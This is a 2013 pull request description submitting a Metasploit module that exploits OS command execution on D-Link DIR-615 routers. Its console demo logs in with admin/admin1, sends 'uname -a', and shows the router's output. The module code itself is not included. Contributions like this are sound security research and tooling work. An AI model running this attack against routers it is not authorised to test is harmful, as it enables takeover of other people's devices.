rapid7/metasploit-framework — pull request #1640 by m-1-k-3 (2013-03-23 20:19:24+00:00)
Title: Dlink dir615 os command exec

Hey guys,

one more module - exploits the dlink dir 615 router:

Exploiting Demo - 192.168.178.105 / 0 auxiliary(dlink_dir_615_exec) > run

[*] 192.168.178.199:80 - Trying to login with admin / admin1
[+] 192.168.178.199:80 - Successful login admin/admin1
[*] 192.168.178.199:80 - Sending remote command: uname -a
[+] 192.168.178.199:80 - Exploited successfully
[*] 192.168.178.199:80 - Command: uname -a
[*] 192.168.178.199:80 - Output:
[*] Linux DIR-615 2.6.21 #2 Fri Jan 18 16:42:24 CST 2013 mips unknown

[*] Auxiliary module execution completed
Exploiting Demo - 192.168.178.105 / 0 auxiliary(dlink_dir_615_exec) > set VERBOSE false
VERBOSE => false
Exploiting Demo - 192.168.178.105 / 0 auxiliary(dlink_dir_615_exec) > run

[*] 192.168.178.199:80 - Trying to login with admin / admin1
[+] 192.168.178.199:80 - Successful login admin/admin1
[*] 192.168.178.199:80 - Sending remote command: uname -a
[+] 192.168.178.199:80 - Exploited successfully
[*] Auxiliary module execution completed

More details: http://www.s3cur1ty.de/m1adv2013-008

looking forward for your feedback

Best,
Mike